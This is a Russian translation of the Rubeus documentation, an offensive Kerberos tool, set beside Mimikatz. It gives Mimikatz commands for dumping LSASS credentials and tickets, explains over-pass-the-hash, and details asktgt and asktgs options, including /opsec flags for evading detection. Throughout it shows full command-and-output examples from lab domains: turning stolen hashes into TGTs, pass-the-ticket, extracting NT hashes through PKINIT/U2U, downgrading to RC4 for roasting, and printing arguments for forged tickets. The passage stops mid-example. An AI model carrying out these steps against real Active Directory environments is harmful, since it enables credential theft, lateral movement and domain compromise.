Mimikatz — это швейцарский армейский нож для извлечения учетных данных с множеством опций. Команда sekurlsa::logonpasswords открывает дескриптор чтения к LSASS, перечисляет сеансы входа, присутствующие в системе, проходит по стандартным пакетам аутентификации для каждого сеанса входа и извлекает любые обратимые пароли/учетные данные. Примечание: команда sekurlsa::ekeys перечисляет ВСЕ типы ключей, присутствующих для пакета Kerberos.
В Rubeus нет кода для доступа к LSASS (и не предполагается), поэтому его функциональность ограничивается извлечением билетов Kerberos через использование API LsaCallAuthenticationPackage(). С точки зрения без повышенных прав, сеансовые ключи для TGT не возвращаются (по умолчанию), поэтому использовать можно только извлеченные билеты служб (команда tgtdeleg использует трюк от Kekeo для получения рабочего TGT для текущего пользователя). Если контекст высокого уровня целостности, выполняется GetSystem, эквивалентный дублированию токенов, для повышения до SYSTEM, и регистрируется фиктивное приложение входа с помощью вызова API LsaRegisterLogonProcess(). Это позволяет привилегированно перечислять и извлекать все билеты, зарегистрированные в данный момент в LSA в системе, что приводит к выводу билетов .kirbi в кодировке base64 для последующего использования.
Mimikatz может выполнить то же извлечение билетов .kirbi в base64 с помощью следующей серии команд:
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # standard::base64 /output:true
mimikatz # kerberos::list /export
Mimikatz также может извлечь билеты непосредственно из памяти LSASS с помощью:
mimikatz # privilege::debug
mimikatz # standard::base64 /output:true
mimikatz # sekurlsa::tickets /export
Поскольку «всё скрытно, пока кто-то не начинает это искать», спорно, манипуляция LSASS или извлечение билетов через вызов API LsaCallAuthenticationPackage() является более «скрытным». Из-за популярности Mimikatz открытие дескриптора к LSASS и чтение/запись его памяти стали большой целью для обнаружения и/или предотвращения EDR. Однако LsaCallAuthenticationPackage() используется довольно ограниченным кругом процессов, и создание фиктивного приложения входа с помощью LsaRegisterLogonProcess() также является довольно аномальным поведением. Тем не менее, полный анализ API и составление базовой линии представляются более сложной технической задачей, чем защита LSASS.
Предположим, мы получили хеш rc4_hmac (NTLM) пользователя и хотим повторно использовать эти учетные данные для компрометации другой машины, где учётная запись пользователя имеет привилегированный доступ.
Примечание: pass-the-hash != over-pass-the-hash. Традиционная техника pass-the-hash включает повторное использование хеша через протокол NTLMv1/NTLMv2, который вообще не использует Kerberos. Подход over-pass-the-hash был разработан Benjamin Delpy и Skip Duckwall (см. их презентацию «Abusing Microsoft Kerberos - Sorry you guys don't get it» для получения дополнительной информации). Этот подход превращает хеш/ключ (rc4_hmac, aes256_cts_hmac_sha1 и т.д.) пользователя, присоединённого к домену, в полноценный билет предоставления билетов (TGT).
Давайте сравним «over-passing-the-hash» с помощью команды Mimikatz sekurlsa::pth и команды asktgt из Rubeus (или Kekeo, если хотите).
Когда sekurlsa::pth используется для over-pass-the-hash, Mimikatz сначала создаёт новый процесс с типом входа 9 с фиктивными учетными данными — это создаёт новый «жертвенный» сеанс входа, который не взаимодействует с текущим сеансом входа. Затем он открывает процесс LSASS с возможностью записи в память процесса, и предоставленный хеш/ключ вшивается в соответствующий раздел для связанного сеанса входа (в данном случае для запущенного «жертвенного» сеанса входа). Это заставляет нормальный процесс аутентификации Kerberos запуститься как обычно, как если бы пользователь нормально вошёл в систему, превращая предоставленный хеш в полноценный TGT.
Когда выполняется команда asktgt из Rubeus (или эквивалентная из Kekeo), используется необработанный протокол Kerberos для запроса TGT, который затем применяется к текущему сеансу входа, если передан флаг /ptt.
В подходе Mimikatz требуются права администратора, так как вы напрямую манипулируете памятью LSASS. Как упоминалось ранее, популярность Mimikatz также привела к тому, что такое поведение (открытие дескриптора к LSASS и чтение/запись его памяти) стало большой целью для обнаружения и/или предотвращения EDR. В подходе Rubeus/Kekeo права администратора не требуются, так как LSASS не трогается. Однако если билет применяется к текущему сеансу входа (с /ptt), TGT для текущего сеанса входа будет перезаписан. Этого поведения можно избежать (с правами администратора), используя команду /createnetonly для создания жертвенного процесса/сеанса входа, а затем используя /ptt /ticket:X /luid:0xa.. с LUID созданного процесса. При использовании Cobalt Strike команда make_token с фиктивными учетными данными, а затем kerberos_ticket_use с билетом, полученным от Rubeus, позволит применить новый TGT таким образом, что a) не требуются права администратора и b) не затирается TGT текущего сеанса входа.
По нашему мнению, подход с манипуляцией LSASS с большей вероятностью (в настоящее время) будет обнаружен или предотвращён из-за популярности этой техники. Однако подход Rubeus также приводит к ещё одному обнаруживаемому поведению. Kerberos-трафик на порт 88 обычно должен исходить только от lsass.exe — отправка необработанного трафика такого типа из аномального процесса может быть обнаружена, если эту информацию можно собрать.
Примечание: одним из способов, которым оба подхода потенциально могут быть обнаружены, является ранее упомянутое обнаружение «понижения шифрования». Для получения ключей AES используйте модуль Mimikatz sekurlsa::ekeys для возврата ВСЕХ ключей шифрования Kerberos (то же самое с lsadump::dcsync), которые лучше использовать при попытке обойти некоторые средства обнаружения.
Разбивка команд запроса билетов:
Действие asktgt создаёт необработанный AS-REQ (запрос TGT) трафик для указанного пользователя и ключа шифрования (/rc4, /aes128, /aes256 или /des). Вместо хеша можно также использовать флаг /password — в этом случае /enctype:X по умолчанию будет установлен на RC4 для обмена, с опциями des|aes128|aes256. Если не указан /domain, извлекается текущий домен компьютера, и если не указан /dc, то же самое делается для текущего контроллера домена системы. Если аутентификация прошла успешно, полученный AS-REP анализируется, и KRB-CRED (.kirbi, который включает TGT пользователя) выводится в виде блоба base64. Флаг /ptt выполняет «передачу билета» и применяет полученное Kerberos-удостоверение к текущему сеансу входа. Флаг /luid:0xA.. применяет билет к указанному ID сеанса входа (требуется повышение прав) вместо текущего сеанса входа.
Обратите внимание, что для запроса TGT или их применения к текущему сеансу входа на хосте не требуются повышенные привилегии — только правильный хеш целевого пользователя. Также ещё одно замечание по операционной безопасности: одновременно к текущему сеансу входа можно применить только один TGT, поэтому предыдущий TGT стирается при применении нового билета с опцией /ptt. Обходной путь — использовать параметр /createnetonly:C:\X.exe (по умолчанию скрывающий процесс, если не указан флаг /show), или запросить билет и применить его к другому сеансу входа с помощью ptt /luid:0xA...
По умолчанию между AS-REQ, сгенерированными Rubeus, и подлинными AS-REQ существует несколько различий. Чтобы формировать AS-REQ более похожие на подлинные запросы, можно использовать флаг /opsec. Он сначала отправляет начальный AS-REQ без предварительной аутентификации; если это удаётся, полученный AS-REP расшифровывается и возвращается TGT, в противном случае затем отправляется AS-REQ с предварительной аутентификацией. Поскольку этот флаг предназначен для повышения скрытности трафика Rubeus, по умолчанию его нельзя использовать ни с каким типом шифрования, кроме aes256, и он просто выдаст предупреждение и завершит работу, если используется другой тип шифрования. Чтобы разрешить использование других типов шифрования с изменениями /opsec, существует флаг /force.PKINIT аутентификация поддерживается с аргументом /certificate:X. Когда закрытый ключ в PFX-файле защищен паролем, этот пароль можно передать с аргументом /password:X. При использовании аутентификации PKINIT флаг /getcredentials может быть использован для автоматического запроса сервисного билета U2U и получения NT-хеша учетной записи.
Запрос TGT без PAC можно выполнить с помощью переключателя /nopac.
Использование прокси KDC (MS-KKDCP) для выполнения запроса возможно с аргументом /proxyurl:URL. Требуется полный URL-адрес прокси KDC, например https://kdcproxy.exmaple.com/kdcproxy
Флаг /nopreauth можно использовать для отправки AS-REQ без предварительной аутентификации. Аргумент /service:SPN можно использовать для прямого запроса сервисных билетов с помощью AS-REQ; он принимает SPN или имя пользователя.
Запрос билета через RC4-хеш для [email protected], применение его к текущему сеансу входа:
C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /rc4:2b576acbe6bcfda7294d6bd18041b8fe /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.4.1
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a'
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFmjCCBZagAwIBBaEDAgEWooIErzCCBKthggSnMIIEo6ADAgEFoQ8bDVRFU1RMQUIuTE9DQUyiIjAg
oAMCAQKhGTAXGwZrcmJ0Z3QbDXRlc3RsYWIubG9jYWyjggRlMIIEYaADAgESoQMCAQKiggRTBIIETwrl
zIpKjTT11eteJCn+0rtlKwtTW/8XvoWXy61rOCrOIo16YPiMe4usXoJaOqsvCydMgd6955hT+IoFMyGG
VfVxetoM1Oa5aPA2sfzJeogn4RpFBoY5vjjKBzPaTJptPRX7Wjg0o1FTszJET4mhQyLKxQMgprKcc2mz
yniQzGPI19O95aSoPpNar+4lKlyBsL4QjSEeBdZQ2/Ab1JVu3eh1xCsWkKUUlabbzeZwo8SG0QkZ0DKk
qOD8hx5wbQ+w8emcLvHMIrmg1xO2OPngK76C3daeiS59UVADSz/n3H7Tfuk+EXSdZ8DC4/c8KIZvHsC6
cO/ymVFxyuRJLg7VThl8keZmbWzYei6xAwH7mUAUEA1lk0pEHx12nAHcKILsbS3F9wAcHMNEGe/Xa3UK
INJ0q+JvdJpCPo/wgyu7wjKgsdpgUV0siVfpGaxG7yh6s3U2tAlBWnWdGF/Gy/FkOk/hJxhTTHcHa5XE
LTaXY9cnraee+llJqmOnHfjPa5+XNTnVtBZjT0SPRnSXfdPG5BgiXYlCjr5ykhF8MdVE1Se+WtEZJuPj
lYrCtWo2oEjBbYMb3YGTcWh5+oWNY1QdxSpyFc8IDQOTOCnQ+nsQf78phU7svTBm0b5AqqPD/olz1RYm
f4qR+90TcASaQGwHUQbpFnLb2U9BHwNS+SlRwafFT5qlTmXaqoQMMjknospm0+v0U8hd8KbZ4jwK2hM+
vE74bOiAMdjTf5YLDorRyuFUoa7oIaJZTXxsLmqZsBCsUnH5etXTb9vHj7Dl27wyP9snRHIWuE8Rdo9Z
zAJK6PESaBcUqhKqkjWLUKDuT2+SCduPVF6+3QJB0xLJrwXKp/MiV418H/pHRoy6JkKKw2m1bw45P8Az
l54g75WJqEiAzj/+I64TUfbEFJtd9OHujAKzjMMiKRQKwTKR1Jfb6gTrv6K0GCTJ15W84DeWc47jTutE
HbWxuKib3niTTM5YcHZcN6h/V8Zef8r4fdhY20xGCwqlT9X5md96+647bRq/AZDtiAEaVAH5f3QTQen8
o6XpVqSoZxRASEs3oKFfNunBFJ+QxOL4A47iO1JH0wlM7L2Vx+QeDMfqUh3i9S71YBLdHtPflo8ivmNS
gf0dIeAE2rHRNQn+q7vvrl4r/Bxy3CikzBWnq9Nff8vUJmZ0MQBc4mBpykuuFtLuEJOELdUzW4uCF/9a
JffKDnWk0lIDymImtxqTO0Y/mk0zEQ7RZNUIR3vtrNSO84CjZ/YFYCIdIR5wCzztPSZ0RH7C4lVueBO5
ZoDiWYvPuOQsZHkP2XD+GQtu0hN6MOfLOKGVmNrKs1KRfWhbqnTQudjFSkvgHlgjIslKJDa6WzmSQhdW
fPIA9ggjCmQtyB6seiYi9LdJuQ+GiiF2UphTEJ+a5DR6rGYbg4hhd+ru2Z8Lt5rBojliLnedafyZJ15t
alU+n8aNdIPXfVmsR3caTXkncNBlo4HWMIHToAMCAQCigcsEgch9gcUwgcKggb8wgbwwgbmgGzAZoAMC
ARehEgQQ+zY8adXi2NuvkAxl1ohUOKEPGw1URVNUTEFCLkxPQ0FMohIwEKADAgEBoQkwBxsFZGZtLmGj
BwMFAEDhAAClERgPMjAxOTAyMjUyMzA2MDdaphEYDzIwMTkwMjI2MDQwNjA3WqcRGA8yMDE5MDMwNDIz
MDYwN1qoDxsNVEVTVExBQi5MT0NBTKkiMCCgAwIBAqEZMBcbBmtyYnRndBsNdGVzdGxhYi5sb2NhbA==
[*] Action: Import Ticket
[+] Ticket successfully imported!
[*] Action: Describe Ticket
UserName : dfm.a
UserRealm : TESTLAB.LOCAL
ServiceName : krbtgt/testlab.local
ServiceRealm : TESTLAB.LOCAL
StartTime : 2/25/2019 3:06:07 PM
EndTime : 2/25/2019 8:06:07 PM
RenewTill : 3/4/2019 3:06:07 PM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : +zY8adXi2NuvkAxl1ohUOA==
Запрос билета через хеш aes256_hmac для [email protected], запуск нового скрытого процесса и применение билета к этому сеансу входа. Примечание: требуются права администратора!
C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /domain:testlab.local /aes256:e27b2e7b39f59c3738813a9ba8c20cd5864946f179c80f60067f5cda59c3bd27 /createnetonly:C:\Windows\System32\cmd.exe
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Create Process (/netonly)
[*] Showing process : False
[+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID : 7564
[+] LUID : 0x3c4c241
[*] Action: Ask TGT
[*] Using aes256_cts_hmac_sha1 hash: e27b2e7b39f59c3738813a9ba8c20cd5864946f179c80f60067f5cda59c3bd27
[*] Target LUID : 63226433
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 234 bytes
[*] Received 1620 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFujCCBbagAwIBBaEDAgEWooIEvzCCBL...(snip)...
[*] Action: Import Ticket
[*] Target LUID: 0x3c4c241
[+] Ticket successfully imported!
Обратите внимание, что параметры /luid и /createnetonly требуют повышения привилегий!
Запрос билета с использованием сертификата и /getcredentials для получения NT-хеша:
C:\Rubeus>Rubeus.exe asktgt /user:harmj0y /domain:rubeus.ghostpack.local /dc:pdc1.rubeus.ghostpack.local /getcredentials /certificate:MIIR3QIB...(snip)...QI/GZmyPRFEeE=
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN=Harm J0y, CN=Users, DC=rubeus, DC=ghostpack, DC=local
[*] Building AS-REQ (w/ PKINIT preauth) for: 'rubeus.ghostpack.local\harmj0y'
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIF9DCCBfCgAwIBBaEDAgEWooIE7DCCBOhhggTkMIIE4KADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
YnRndBsWcnViZXVzLmdob3N0cGFjay5sb2NhbA==
ServiceName : krbtgt/rubeus.ghostpack.local
ServiceRealm : RUBEUS.GHOSTPACK.LOCAL
UserName : harmj0y
UserRealm : RUBEUS.GHOSTPACK.LOCAL
StartTime : 14/07/2021 02:25:33
EndTime : 14/07/2021 12:25:33
RenewTill : 21/07/2021 02:25:33
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : 7MS2ajfZo4HedoK+K3dLcQ==
ASREP (key) : 9B1C28A276FBBE557D0F9EE153FE24E1
[*] Getting credentials using U2U
CredentialInfo :
Version : 0
EncryptionType : rc4_hmac
CredentialData :
CredentialCount : 1
NTLM : C69A7EA908898C23B72E65329AF7E3E8
Действие asktgs создает/анализирует сырой запрос TGS-REQ/TGS-REP для сервисного билета, используя указанный TGT /ticket:X. Это значение может быть кодировкой base64 файла .kirbi или путем к файлу .kirbi на диске. Если /dc не указан, извлекается текущий контроллер домена компьютера и используется в качестве назначения для трафика запроса. Флаг /ptt выполняет «pass-the-ticket» и применяет полученный сервисный билет к текущему сеансу входа. Должен быть указан один или несколько SPN /service:X, разделенных запятыми.
Поддерживаемые типы шифрования в создаваемом TGS-REQ: RC4_HMAC, AES128_CTS_HMAC_SHA1 и AES256_CTS_HMAC_SHA1. В этом случае KDC будет использовать наивысшее взаимно поддерживаемое шифрование для построения возвращаемого сервисного билета. Если требуется принудительно использовать ключи DES, RC4 или AES128/256, используйте /enctype:[RC4|AES128|AES256|DES].
Для запроса сервисного билета для учетной записи с использованием основного имени участника предприятия (т.е. [email protected]) можно использовать флаг /enterprise.
По умолчанию существует несколько различий между TGS-REQ, генерируемыми Rubeus, и подлинными TGS-REQ. Для формирования TGS-REQ, более соответствующих реальным запросам, можно использовать флаг /opsec. Это также приведет к автоматической отправке дополнительного TGS-REQ при запросе сервисного билета для учетной записи, настроенной на неограниченное делегирование. Поскольку этот флаг предназначен для повышения скрытности трафика Rubeus, по умолчанию он не может использоваться с типом шифрования, отличным от aes256, и просто выдаст предупреждение и завершит работу, если будет использован другой тип шифрования.
Для ручной работы с другими сценариями можно использовать /tgs:X для указания дополнительного билета, который добавляется в тело запроса. Это также добавляет опцию KDC для ограниченного делегирования, а также избегает динамического определения домена из заданного SPN /service:X. По этой причине был реализован аргумент /targetdomain:X, чтобы принудительно использовать указанный домен в запросе, что полезно для запроса делегированных сервисных билетов из внешнего домена или билетов с обычными SPN.
Флаг /u2u был реализован для запроса билетов User-to-User. Вместе с аргументом /tgs:X (используется для предоставления TGT целевой учетной записи), аргумент /service:X может быть именем пользователя учетной записи, для которой предоставлен TGT (с аргументом /tgs:X). Аргумент /targetuser:X запросит PAC любой другой учетной записи путем вставки раздела данных PA-FOR-USER PA с именем пользователя целевого пользователя.
Флаг /printargs выведет аргументы, необходимые для подделки билета с теми же значениями PAC, если PAC доступен для чтения. Это можно сделать, указав аргумент /servicekey:X или выполнив запрос /u2u с известным ключом сеанса.
Использование прокси KDC (MS-KKDCP) для выполнения запроса возможно с аргументом /proxyurl:URL. Требуется полный URL-адрес прокси KDC, например https://kdcproxy.exmaple.com/kdcproxy
Флаг /keyList был реализован для запросов списка ключей Kerberos. Эти запросы должны использовать поддельный частичный TGT от контроллера домена, доступного только для чтения, в параметре /ticket:BASE64|FILE.KIRBI. Дополнительные сведения об этом поддельном TGT приведены в разделе golden. Кроме того, поле /spn:x должно быть установлено на SPN KRBTGT в домене, например KRBTBT/domain.local.
Действие asktgs также поддерживает запрос сервисных билетов через пакет аутентификации Kerberos с использованием LSASS. Этот режим работы можно включить, опуская аргумент /ticket. По умолчанию используется TGT, связанный с текущим сеансом входа. Можно указать альтернативный сеанс входа, указав аргумент /luid:xxx. Для указания других сеансов входа требуются права локального администратора. В настоящее время через LSASS могут быть запрошены только простые сервисные билеты. Аргументы для таких функций, как S4U2Self, U2U, список ключей и прокси KDC, игнорируются. Запрос сервисных билетов через LSASS часто может быть более безопасным с точки зрения opsec, поскольку трафик Kerberos будет исходить из LSASS. Этот режим также требуется для сценариев, где активен Credential Guard / Remote Credential Guard, так как дамп TGT с credential guard невозможен.
Запрос TGT для dfm.a и последующее использование этого билета для запроса сервисного билета для SPN "LDAP/primary.testlab.local" и "cifs/primary.testlab.local":
C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /rc4:2b576acbe6bcfda7294d6bd18041b8fe
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1537 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFmjCCBZagAwIBBaEDAgEWoo...(snip)...
C:\Rubeus>Rubeus.exe asktgs /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip)... /service:LDAP/primary.testlab.local,cifs/primary.testlab.local /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Ask TGS
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ request for: 'LDAP/primary.testlab.local'
[*] Connecting to 192.168.52.100:88
[*] Sent 1514 bytes
[*] Received 1562 bytes
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFzjCCBcqgAwIBBaEDAgEWoo...(snip)...
[*] Action: Import Ticket
[+] Ticket successfully imported!
[*] Action: Ask TGS
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ request for: 'cifs/primary.testlab.local'
[*] Connecting to 192.168.52.100:88
[*] Sent 1514 bytes
[*] Received 1562 bytes
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFzjCCBcqgAwIBBaEDAgEWoo...(snip)...
[*] Action: Import Ticket
[+] Ticket successfully imported!
C:\Rubeus>Rubeus.exe klist
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: List Kerberos Tickets (Current User)
[0] - 0x12 - aes256_cts_hmac_sha1
Start/End/MaxRenew: 2/10/2019 6:44:43 PM ; 2/10/2019 11:44:09 PM ; 2/17/2019 6:44:09 PM
Server Name : cifs/primary.testlab.local @ TESTLAB.LOCAL
Client Name : dfm.a @ TESTLAB.LOCAL
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000)
[1] - 0x12 - aes256_cts_hmac_sha1
Start/End/MaxRenew: 2/10/2019 6:44:43 PM ; 2/10/2019 11:44:09 PM ; 2/17/2019 6:44:09 PM
Server Name : LDAP/primary.testlab.local @ TESTLAB.LOCAL
Client Name : dfm.a @ TESTLAB.LOCAL
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000)
Запрос сервисного билета для учетной записи службы с поддержкой AES, с указанием того, что мы поддерживаем только RC4_HMAC:
C:\Rubeus>Rubeus.exe asktgs /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip).../service:roast/me /enctype:rc4
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.4.1
[*] Action: Ask TGS
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Requesting 'rc4_hmac' etype for the service ticket
[*] Building TGS-REQ request for: 'roast/me'
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFrjCCBaqgAwIBBaEDA...(snip)...
[*] Action: Describe Ticket
UserName : dfm.a
UserRealm : TESTLAB.LOCAL
ServiceName : roast/me
ServiceRealm : TESTLAB.LOCAL
StartTime : 2/25/2019 3:10:59 PM
EndTime : 2/25/2019 8:09:54 PM
RenewTill : 3/4/2019 3:09:54 PM
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : Gg3zZicIl5c50KGecCf8XA==
Запрос сервисного билета user-to-user с включением раздела PA-DATA PA for User (запрос S4U2self) позволяет получить читаемый PAC для любого пользователя:
C:\Rubeus>Rubeus.exe asktgs /u2u /targetuser:ccob /ticket:doIFijCCBYagAwIBBaED...(snip)...3RwYWNrLmxvY2Fs /tgs:doIFijCCBYagAwIBBaEDAg...(snip)...YWNrLmxvY2Fs
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Ask TGS
[*] Using domain controller: PDC1.rubeus.ghostpack.local (192.168.71.80)
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building User-to-User TGS-REQ request for: 'exploitph'
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFKzCCBSegAwIBBaEDAgEWooIEKzCCBCdhggQjMIIEH6ADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
cGxvaXRwaA==ServiceName : exploitph
ServiceRealm : RUBEUS.GHOSTPACK.LOCAL
UserName : ccob
UserRealm : RUBEUS.GHOSTPACK.LOCAL
StartTime : 20/07/2021 22:00:07
EndTime : 21/07/2021 07:59:39
RenewTill : 27/07/2021 21:59:39
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : u2AYdjG4gLNIXqzb3MmwtDtE1k2NR5ty9h80w704+8Q=
Decrypted PAC :
LogonInfo :
LogonTime : 01/01/1601 00:00:00
LogoffTime :
KickOffTime :
PasswordLastSet : 20/07/2021 21:58:44
PasswordCanChange : 21/07/2021 21:58:44
PasswordMustChange : 31/08/2021 21:58:44
EffectiveName : ccob
FullName : C Cob
LogonScript :
ProfilePath :
HomeDirectory :
HomeDirectoryDrive :
LogonCount : 0
BadPasswordCount : 0
UserId : 1109
PrimaryGroupId : 513
GroupCount : 1
Groups : 513
UserFlags : (32) EXTRA_SIDS
UserSessionKey : 0000000000000000
LogonServer : PDC1
LogonDomainName : RUBEUS
LogonDomainId : S-1-5-21-3237111427-1607930709-3979055039
UserAccountControl : (16) NORMAL_ACCOUNT
ExtraSIDCount : 1
ExtraSIDs : S-1-18-2
ResourceGroupCount : 0
ClientName :
Client Id : 20/07/2021 21:59:39
Client Name : ccob
UpnDns :
DNS Domain Name : RUBEUS.GHOSTPACK.LOCAL
UPN : [email protected]
Flags : 0
ServerChecksum :
Signature Type : KERB_CHECKSUM_HMAC_MD5
Signature : 79A2DC5595C76FA85155B4C65B3A0EE1 (VALID)
KDCChecksum :
Signature Type : KERB_CHECKSUM_HMAC_SHA1_96_AES256
Signature : DA57618BB48EA56371E374B1 (UNVALIDATED)
Если PAC может быть расшифрован (путем запроса user-to-user или передачи /servicekey), то можно вывести аргументы, необходимые для подделки билета, содержащего те же значения PAC:
C:\Rubeus>Rubeus.exe asktgs /service:roast/me /printargs /servicekey:9FFB199F118556F579B415270EE835005227FCBF29331DAC27C4397AC353F52B /ticket:doIF9DCCBfCgAwIBBaEDAg...(snip)...cGFjay5sb2NhbA==
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Ask TGS
[*] Using domain controller: PDC1.rubeus.ghostpack.local (192.168.71.80)
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'roast/me'
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIF6jCCBeagAwIBBaEDAgEWooIE5zCCBONhggTfMIIE26ADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
AgECoQ0wCxsFcm9hc3QbAm1l
ServiceName : roast/me
ServiceRealm : RUBEUS.GHOSTPACK.LOCAL
UserName : harmj0y
UserRealm : RUBEUS.GHOSTPACK.LOCAL
StartTime : 20/07/2021 00:02:27
EndTime : 20/07/2021 09:57:46
RenewTill : 26/07/2021 23:57:46
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : U9Vnk0QnOmByQqF7i+5ujkinm9pRrevcRhw1sKVEVi4=
Decrypted PAC :
LogonInfo :
LogonTime : 19/07/2021 23:00:38
LogoffTime :
KickOffTime :
PasswordLastSet : 14/07/2021 02:07:12
PasswordCanChange : 15/07/2021 02:07:12
PasswordMustChange :
EffectiveName : harmj0y
FullName : Harm J0y
LogonScript :
ProfilePath :
HomeDirectory :
HomeDirectoryDrive :
LogonCount : 8
BadPasswordCount : 0
UserId : 1106
PrimaryGroupId : 513
GroupCount : 1
Groups : 513
UserFlags : (32) EXTRA_SIDS
UserSessionKey : 0000000000000000
LogonServer : PDC1
LogonDomainName : RUBEUS
LogonDomainId : S-1-5-21-3237111427-1607930709-3979055039
UserAccountControl : (528) NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
ExtraSIDCount : 1
ExtraSIDs : S-1-18-1
ResourceGroupCount : 0
CredentialInfo :
Version : 0
EncryptionType : rc4_hmac
CredentialData : *** NO KEY ***
ClientName :
Client Id : 19/07/2021 23:57:46
Client Name : harmj0y
UpnDns :
DNS Domain Name : RUBEUS.GHOSTPACK.LOCAL
UPN : [email protected]
Flags : 0
ServerChecksum :
Signature Type : KERB_CHECKSUM_HMAC_SHA1_96_AES256
Signature : 96FA020562EE73B38D31AEEF (VALID)
KDCChecksum :
Signature Type : KERB_CHECKSUM_HMAC_SHA1_96_AES256
Signature : E7FDCBAF5F580DFB567DF102 (UNVALIDATED)
[*] Printing argument list for use with Rubeus' 'golden' or 'silver' commands:
/user:harmj0y /id:1106 /pgid:513 /logoncount:8 /badpwdcount:0 /sid:S-1-5-21-3237111427-1607930709-3979055039 /netbios:RUBEUS /displayname:"Harm J0y" /groups:513 /sids:S-1-18-1 /pwdlastset:"14/07/2021 02:07:12" /minpassage:1d /dc:PDC1.RUBEUS.GHOSTPACK.LOCAL /uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD
Использование PKINIT для запроса TGT, а затем запрос сервисного билета user-to-user для получения доступа к хэшу NTLM, хранящемуся в PAC (вручную выполняя флаг /getcredentials для asktgt):
C:\Rubeus>Rubeus.exe asktgs /u2u /asrepkey:CC9D16AB01D1BD0EF9EBD53C8AD536D9 /ticket:doIF9DCCBfCgAwIBBaED...(snip)...ay5sb2NhbA== /tgs:doIF9DCCBfCgAwIBBaED...(snip)...ay5sb2NhbA==
______ _
